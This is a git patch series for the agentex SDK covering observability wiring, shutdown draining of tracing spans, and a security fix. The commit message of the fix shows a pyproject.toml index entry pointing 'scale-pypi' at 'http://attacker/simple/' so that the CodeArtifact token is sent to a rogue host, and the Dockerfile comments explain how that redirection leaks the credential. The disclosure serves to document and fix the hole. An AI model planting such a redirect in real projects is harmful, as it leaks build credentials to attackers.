test_all_three_signals_are_named_in_the_status(self, monkeypatch): _fake_sgp_obs( monkeypatch, From 777ca59031a6afb2102041209bb0c94e4da32a30 Mon Sep 17 00:00:00 2001 From: Sirui Wang Date: Fri, 11 Sep 2026 16:27:58 -0700 Subject: [PATCH 4/7] feat(obs): install the openai-agents bridge so Runner turns produce spans MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The traces signal wired but produced nothing for the fleet's dominant agent shape. sgp_obs.init() installs most of the traces wiring itself; the openai-agents bridge is the one piece it does not. Measured on 0.16.0 after a plain init() with traces on: GenAI attempt span processor installed litellm logical adapter installed (_SgpObsLiteLLMLogger) httpx / aiohttp egress instrumented openai-agents bridge NOT installed That last one carries roughly 83% of model-calling agents, so without it a Runner turn contributes no logical model-operation spans and "traces on" looks like it does nothing at all. This is what the obs-test-* agents in agentex-agents#2183 each hand-roll: every one of the five ships an identical 114-line obs_bootstrap.py. Comparing that file against what init() already does, four of its five steps are redundant — the httpx and aiohttp instrumentors (init's _instrument_egress does them, and 0.16.0 deliberately reuses an already-instrumented one rather than warning), the attempt processor, and the litellm adapter. Only the bridge was load-bearing. With this change an adopting agent's bootstrap collapses to nothing, except the parts that are genuinely agent-specific: capture_turn's redaction allowlist, and its business span call sites. Installed unconditionally when traces are wired, because openai-agents is a hard dependency of this SDK, so `agents` is importable in every agent. The call is idempotent. A False return means `agents` was somehow not importable, which should be impossible here, so that warns rather than passing silently. Verified through the SDK's own entry point, not the library's: SDK init status: wired:metrics,traces attempt span processor : True openai-agents bridge : True litellm adapter : ['_SgpObsLiteLLMLogger'] 88 tests, ruff clean, pyright 0 errors, all with sgp-obs absent. Co-Authored-By: Claude Opus 5 --- .../lib/core/observability/sgp_obs_setup.py | 41 ++++++++++++ .../observability/tests/test_sgp_obs_setup.py | 65 ++++++++++++++++++- 2 files changed, 104 insertions(+), 2 deletions(-) diff --git a/src/agentex/lib/core/observability/sgp_obs_setup.py b/src/agentex/lib/core/observability/sgp_obs_setup.py index c75167ec6..3cab45cd0 100644 --- a/src/agentex/lib/core/observability/sgp_obs_setup.py +++ b/src/agentex/lib/core/observability/sgp_obs_setup.py @@ -141,6 +141,7 @@ def init_sgp_obs(app: Any = None) -> str: return _status if "traces" in handles: + _install_openai_agents_bridge() _warn_if_correlation_backend_mismatched() _status = "wired:" + ",".join(sorted(handles)) @@ -148,6 +149,46 @@ def init_sgp_obs(app: Any = None) -> str: return _status +def _install_openai_agents_bridge() -> bool: + """Register sgp-obs' openai-agents trace processor, so a ``Runner`` turn produces + logical model-operation spans. + + This is the one piece of traces wiring ``sgp_obs.init()`` does NOT do for itself. + Measured on 0.16.0 after a plain ``init()`` with the traces signal on: + + GenAI attempt span processor installed + litellm logical adapter installed + httpx / aiohttp egress instrumented + openai-agents bridge NOT installed + + which is why the obs-test agents each carry a hand-written bootstrap that calls it. + It matters more than the others here: roughly 83% of model-calling agents reach the + model through the openai-agents ``Runner``, so without this the dominant path + contributes no logical spans and "traces on" looks like it does nothing. + + Unconditional because ``openai-agents`` is a hard dependency of this SDK, so the + ``agents`` package is importable in every agent. The call is idempotent and returns + False rather than raising when the SDK is somehow absent. + """ + try: + from sgp_obs.traces import install_openai_agents_bridge # type: ignore[import-not-found] + + installed = bool(install_openai_agents_bridge()) + if installed: + logger.debug("sgp-obs openai-agents bridge installed") + else: + # Only reachable if `agents` is not importable, which should not happen + # while openai-agents is a hard dependency — so say so rather than shrug. + logger.warning( + "sgp-obs openai-agents bridge did not install; Runner turns will " + "produce no logical model-operation spans." + ) + return installed + except Exception: # pragma: no cover - telemetry must never break startup + logger.debug("sgp-obs openai-agents bridge unavailable", exc_info=True) + return False + + def _warn_if_correlation_backend_mismatched() -> None: """Warn when sgp-obs is exporting OTel traces but the SDK's business-span correlation is still reading ddtrace. diff --git a/src/agentex/lib/core/observability/tests/test_sgp_obs_setup.py b/src/agentex/lib/core/observability/tests/test_sgp_obs_setup.py index 61ea30647..14f8f42b3 100644 --- a/src/agentex/lib/core/observability/tests/test_sgp_obs_setup.py +++ b/src/agentex/lib/core/observability/tests/test_sgp_obs_setup.py @@ -52,13 +52,21 @@ def caplog_at(monkeypatch): yield records -def _fake_sgp_obs(monkeypatch, init=None, shutdown=None): - """Install a stand-in ``sgp_obs`` module whose entry points we control.""" +def _fake_sgp_obs(monkeypatch, init=None, shutdown=None, bridge=None): + """Install a stand-in ``sgp_obs`` module whose entry points we control. + + ``bridge`` stands in for ``sgp_obs.traces.install_openai_agents_bridge``; it lives + on a fake ``sgp_obs.traces`` submodule because that is how the SDK imports it. + """ module = type(sys)("sgp_obs") module.init = init if init is not None else (lambda **_kwargs: {"metrics": object()}) if shutdown is not None: module.shutdown = shutdown monkeypatch.setitem(sys.modules, "sgp_obs", module) + + traces = type(sys)("sgp_obs.traces") + traces.install_openai_agents_bridge = bridge if bridge is not None else (lambda: True) + monkeypatch.setitem(sys.modules, "sgp_obs.traces", traces) return module @@ -339,3 +347,56 @@ def test_the_json_rpc_route_is_still_mounted(self, monkeypatch): _block_sgp_obs_import(monkeypatch) routes = {getattr(r, "path", None) for r in BaseACPServer().routes} assert {"/healthz", "/api"} <= routes + + +class TestOpenAIAgentsBridge: + """sgp_obs.init() installs the GenAI attempt processor, the litellm adapter and the + egress instrumentors by itself, but NOT the openai-agents bridge (measured on + 0.16.0). That is the path ~83% of model-calling agents take, so the SDK installs it + — otherwise "traces on" produces no logical model-operation spans for most agents. + """ + + def test_installed_when_traces_are_wired(self, monkeypatch): + calls = [] + _fake_sgp_obs( + monkeypatch, + init=lambda **_kwargs: {"traces": object()}, + bridge=lambda: calls.append(True) or True, + ) + monkeypatch.setenv("SGP_OBS_MODE", "lgtm") + assert init_sgp_obs() == "wired:traces" + assert calls == [True] + + def test_not_installed_without_the_traces_signal(self, monkeypatch): + """A metrics-only agent has no span pipeline to feed, so installing an + openai-agents trace processor would be pointless work at startup.""" + calls = [] + _fake_sgp_obs( + monkeypatch, + init=lambda **_kwargs: {"metrics": object()}, + bridge=lambda: calls.append(True) or True, + ) + assert init_sgp_obs() == "wired:metrics" + assert calls == [] + + def test_a_bridge_that_declines_is_reported(self, monkeypatch, caplog): + """False means the `agents` SDK was not importable. openai-agents is a hard + dependency of this package, so that should be impossible — say so rather than + swallow it.""" + monkeypatch.setenv("SGP_OBS_MODE", "lgtm") + _fake_sgp_obs( + monkeypatch, init=lambda **_kwargs: {"traces": object()}, bridge=lambda: False + ) + with caplog.at_level("WARNING"): + assert init_sgp_obs() == "wired:traces" + assert "openai-agents bridge" in caplog.text + + def test_a_raising_bridge_does_not_stop_startup(self, monkeypatch): + def boom(): + raise RuntimeError("sgp-obs internals moved") + + monkeypatch.setenv("SGP_OBS_MODE", "lgtm") + _fake_sgp_obs( + monkeypatch, init=lambda **_kwargs: {"traces": object()}, bridge=boom + ) + assert init_sgp_obs() == "wired:traces" From 63ca57f0bc4ce63989df2927ee354e68b2f2822a Mon Sep 17 00:00:00 2001 From: Sirui Wang Date: Fri, 11 Sep 2026 16:31:33 -0700 Subject: [PATCH 5/7] fix(tracing): drain sync tracing processors on ACP shutdown MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A sync ACP agent silently lost whatever business spans were still queued when the pod stopped. The lifespan drained `shutdown_default_span_queue`, which is the ASYNC path only; the sync tracing processors hold their own queue and nothing in the SDK ever shut them down. `get_sync_tracing_processors()` had exactly one caller — tracer.py, to CONSTRUCT a Trace — and no shutdown path at all. This is the same class of bug as the missing `sgp_obs.shutdown()` in the previous commit, and it compounds it from the other end. The business span is what an obs span's `agentex.business_trace_id` resolves to, so dropping it breaks the pivot from Tempo back to the SGP store — the backward edge points at a record that was never written. Found while working out what the obs-test-* agents in agentex-agents#2183 would still need after the SDK absorbs their bootstrap: each one carries a `sgp_flush_lifespan` that does exactly this, which is the tell that the SDK should have been doing it. Each processor is isolated — one that hangs or raises must not strand the spans held by the ones after it, and none of them may stop the pod shutting down. The last test pins the wiring rather than just the helper: a drain nothing calls is worthless, so it asserts the lifespan actually invokes both this and shutdown_sgp_obs. Co-Authored-By: Claude Opus 5 --- .../lib/sdk/fastacp/base/base_acp_server.py | 40 ++++++++++ .../lib/sdk/fastacp/base/tests/__init__.py | 0 .../fastacp/base/tests/test_shutdown_hooks.py | 73 +++++++++++++++++++ 3 files changed, 113 insertions(+) create mode 100644 src/agentex/lib/sdk/fastacp/base/tests/__init__.py create mode 100644 src/agentex/lib/sdk/fastacp/base/tests/test_shutdown_hooks.py diff --git a/src/agentex/lib/sdk/fastacp/base/base_acp_server.py b/src/agentex/lib/sdk/fastacp/base/base_acp_server.py index 0a5a036cc..35f79cbdc 100644 --- a/src/agentex/lib/sdk/fastacp/base/base_acp_server.py +++ b/src/agentex/lib/sdk/fastacp/base/base_acp_server.py @@ -119,6 +119,40 @@ async def __call__(self, scope: Scope, receive: Receive, send: Send) -> None: _detach_otel_context(otel_token) +def _shutdown_sync_tracing_processors() -> None: + """Drain the sync tracing processors' queues at shutdown. Never raises. + + ``shutdown_default_span_queue`` covers the async path only. The sync processors + keep their own queue and nothing in the SDK ever shut them down, so a sync ACP + agent dropped whatever business spans were still queued when the pod stopped. + That matters beyond the lost spans: the business span is what an obs span's + ``agentex.business_trace_id`` resolves to, so losing it breaks the pivot from + Tempo back to the SGP store. + + Each processor is isolated: one that hangs or raises must not stop the others, + and none of them may stop the pod from shutting down. + """ + try: + from agentex.lib.core.tracing.tracing_processor_manager import ( + get_sync_tracing_processors, + ) + + processors = get_sync_tracing_processors() + except Exception: # pragma: no cover - nothing to drain if this can't import + logger.debug("sync tracing processors unavailable at shutdown", exc_info=True) + return + + for processor in processors: + try: + processor.shutdown() + except Exception: # noqa: PERF203 - one bad processor must not block the rest + logger.warning( + "a sync tracing processor failed to flush on shutdown; " + "some business spans may be lost", + exc_info=True, + ) + + class BaseACPServer(FastAPI): """ AsyncAgentACP provides RPC-style hooks for agent events and commands asynchronously. @@ -191,6 +225,11 @@ async def lifespan_context(app: FastAPI): # noqa: ARG001 yield finally: await shutdown_default_span_queue() + # The queue above is the ASYNC path only. Sync tracing processors + # hold their own queue and nothing ever drained it, so a sync ACP + # agent lost whatever business spans were still queued when the pod + # stopped — including the ones the obs correlation points at. + _shutdown_sync_tracing_processors() # Flush whatever sgp-obs still holds. A periodic exporter's buffer # is otherwise dropped when the pod stops, which for a short-lived # or scaled-to-zero agent can be most of what it recorded. No-op @@ -199,6 +238,7 @@ async def lifespan_context(app: FastAPI): # noqa: ARG001 return lifespan_context + async def _healthz(self): """Health check endpoint""" result = {"status": "healthy"} diff --git a/src/agentex/lib/sdk/fastacp/base/tests/__init__.py b/src/agentex/lib/sdk/fastacp/base/tests/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/agentex/lib/sdk/fastacp/base/tests/test_shutdown_hooks.py b/src/agentex/lib/sdk/fastacp/base/tests/test_shutdown_hooks.py new file mode 100644 index 000000000..6aaea600f --- /dev/null +++ b/src/agentex/lib/sdk/fastacp/base/tests/test_shutdown_hooks.py @@ -0,0 +1,73 @@ +"""Tests for the ACP lifespan's shutdown drains. + +``shutdown_default_span_queue`` covers the async span path. The SYNC tracing +processors keep their own queue, and nothing in the SDK ever shut them down, so a +sync ACP agent dropped whatever business spans were still queued when the pod +stopped. That is worse than the spans themselves: the business span is what an obs +span's ``agentex.business_trace_id`` resolves to, so losing it breaks the pivot from +Tempo back to the SGP store. +""" + +from __future__ import annotations + +from agentex.lib.sdk.fastacp.base import base_acp_server +from agentex.lib.sdk.fastacp.base.base_acp_server import _shutdown_sync_tracing_processors + + +class _Processor: + def __init__(self, explode: bool = False) -> None: + self.calls = 0 + self._explode = explode + + def shutdown(self) -> None: + self.calls += 1 + if self._explode: + raise RuntimeError("flush timed out") + + +def _patch_processors(monkeypatch, processors): + import agentex.lib.core.tracing.tracing_processor_manager as mgr + + monkeypatch.setattr(mgr, "get_sync_tracing_processors", lambda: processors) + + +class TestSyncProcessorDrain: + def test_every_processor_is_flushed(self, monkeypatch): + a, b = _Processor(), _Processor() + _patch_processors(monkeypatch, [a, b]) + _shutdown_sync_tracing_processors() + assert (a.calls, b.calls) == (1, 1) + + def test_one_failure_does_not_stop_the_others(self, monkeypatch): + """A processor that hangs or raises must not strand the spans held by the + ones after it in the list.""" + bad, good = _Processor(explode=True), _Processor() + _patch_processors(monkeypatch, [bad, good]) + _shutdown_sync_tracing_processors() + assert good.calls == 1 + + def test_no_processors_is_a_no_op(self, monkeypatch): + _patch_processors(monkeypatch, []) + _shutdown_sync_tracing_processors() # must not raise + + def test_an_unimportable_manager_does_not_fail_shutdown(self, monkeypatch): + """Nothing here may stop the pod from shutting down.""" + import builtins + + real_import = builtins.__import__ + + def blocked(name, *args, **kwargs): + if "tracing_processor_manager" in name: + raise ImportError("boom") + return real_import(name, *args, **kwargs) + + monkeypatch.setattr(builtins, "__import__", blocked) + _shutdown_sync_tracing_processors() # must not raise + + def test_the_lifespan_calls_it(self): + """Pin the wiring, not just the helper: a drain nothing calls is worthless.""" + import inspect + + source = inspect.getsource(base_acp_server.BaseACPServer.get_lifespan_function) + assert "_shutdown_sync_tracing_processors()" in source + assert "shutdown_sgp_obs()" in source From c0d5fab51ee47c9de8260d3c0ae654029a7d304c Mon Sep 17 00:00:00 2001 From: Sirui Wang Date: Fri, 11 Sep 2026 17:05:03 -0700 Subject: [PATCH 6/7] fix(obs): pin the brokered index URL, and read positionally-passed models MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Addresses both Greptile findings on #518. Both were real; the first is a genuine credential-exfiltration path and I confirmed it is exploitable before fixing it. 1. Credential could be redirected by project config (P1, security) uv binds index credentials by index NAME, and the name -> URL mapping came from the agent's own pyproject.toml. So a project that declared [[tool.uv.index]] name = "scale-pypi" url = "http://attacker/simple/" received the broker's CodeArtifact token. Reproduced against a local server: the rogue host receives `Authorization: Basic aws:` and the real CodeArtifact host is never contacted. The mitigating factor is that whoever writes pyproject.toml usually also writes the Dockerfile, and could just read the mounted secret directly — but that is not the interesting case. The interesting case is a contributed change to a project file: a one-line URL edit in pyproject.toml is far less conspicuous in review than adding an exfiltration command to a Dockerfile. Fixed by exporting UV_INDEX to re-bind `scale-pypi` to the URL the BROKER supplied, taken from the injected pip config, which overrides whatever the project declared for that name. Verified both directions against the same local server: without UV_INDEX the rogue host gets the credential; with it the rogue host is never contacted and only the trusted host is. The pinned URL carries no userinfo — the token still travels only in UV_INDEX_SCALE_PYPI_PASSWORD, percent-decoded as before. Applied to all 19 Dockerfile-uv.j2 templates (38 export blocks). The requirements.txt variant was never affected: it has no named index, and takes the credentialed URL straight from the broker's pip config. 2. A positionally-passed model lost its metric (P2) `litellm.acompletion` takes `model` as its first positional argument and the gateway forwards *args untouched, so `gateway.acompletion("anthropic/claude-sonnet-4", msgs)` is legal — and `inference_call` read only kwargs. The consequence is worse than a mislabeled vendor. An empty model resolves to the default vendor "openai", which sets transport=OPENAI, which makes call() stand down in deference to the OpenAI client instrumentor — while litellm routes natively to Anthropic and never touches that client. Nothing records the call and nothing says so. New `resolve_model(args, kwargs)` reads the keyword first, then args[0], and ignores a non-string first argument since *args is forwarded verbatim. Both gateway call sites pass args through. Tested including the regression itself: a positional Anthropic model now yields provider="anthropic" and an empty transport, i.e. recorded here because nothing else will. Also fixed a stale docstring reference to a `_transport_for` function that does not exist; the logic lives in `_split_model`. 99 tests, ruff clean, pyright 0 errors, all with sgp-obs absent. All 38 templates still render as jinja and all 138 RUN bodies still pass `sh -n`. Co-Authored-By: Claude Opus 5 --- .../default-claude-code/Dockerfile-uv.j2 | 11 ++++ .../templates/default-codex/Dockerfile-uv.j2 | 11 ++++ .../default-langgraph/Dockerfile-uv.j2 | 11 ++++ .../default-openai-agents/Dockerfile-uv.j2 | 11 ++++ .../default-pydantic-ai/Dockerfile-uv.j2 | 11 ++++ .../cli/templates/default/Dockerfile-uv.j2 | 11 ++++ .../sync-claude-code/Dockerfile-uv.j2 | 11 ++++ .../cli/templates/sync-codex/Dockerfile-uv.j2 | 11 ++++ .../templates/sync-langgraph/Dockerfile-uv.j2 | 11 ++++ .../Dockerfile-uv.j2 | 11 ++++ .../sync-openai-agents/Dockerfile-uv.j2 | 11 ++++ .../sync-pydantic-ai/Dockerfile-uv.j2 | 11 ++++ .../lib/cli/templates/sync/Dockerfile-uv.j2 | 11 ++++ .../temporal-claude-code/Dockerfile-uv.j2 | 11 ++++ .../templates/temporal-codex/Dockerfile-uv.j2 | 11 ++++ .../temporal-langgraph/Dockerfile-uv.j2 | 11 ++++ .../temporal-openai-agents/Dockerfile-uv.j2 | 11 ++++ .../temporal-pydantic-ai/Dockerfile-uv.j2 | 11 ++++ .../cli/templates/temporal/Dockerfile-uv.j2 | 11 ++++ .../lib/core/adapters/llm/_genai_metrics.py | 31 ++++++++-- .../lib/core/adapters/llm/adapter_litellm.py | 4 +- .../adapters/llm/tests/test_genai_metrics.py | 61 ++++++++++++++++++- 22 files changed, 297 insertions(+), 8 deletions(-) diff --git a/src/agentex/lib/cli/templates/default-claude-code/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default-claude-code/Dockerfile-uv.j2 index 36d2cd787..16fcfa13a 100644 --- a/src/agentex/lib/cli/templates/default-claude-code/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default-claude-code/Dockerfile-uv.j2 @@ -48,11 +48,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -66,6 +76,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/default-codex/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default-codex/Dockerfile-uv.j2 index d926486ca..8b6adeab3 100644 --- a/src/agentex/lib/cli/templates/default-codex/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default-codex/Dockerfile-uv.j2 @@ -48,11 +48,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -66,6 +76,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/default-langgraph/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default-langgraph/Dockerfile-uv.j2 index 081e0d563..541438ed9 100644 --- a/src/agentex/lib/cli/templates/default-langgraph/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default-langgraph/Dockerfile-uv.j2 @@ -44,11 +44,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -62,6 +72,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile-uv.j2 index 081e0d563..541438ed9 100644 --- a/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile-uv.j2 @@ -44,11 +44,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -62,6 +72,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile-uv.j2 index 081e0d563..541438ed9 100644 --- a/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile-uv.j2 @@ -44,11 +44,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -62,6 +72,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/default/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default/Dockerfile-uv.j2 index 081e0d563..541438ed9 100644 --- a/src/agentex/lib/cli/templates/default/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default/Dockerfile-uv.j2 @@ -44,11 +44,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the 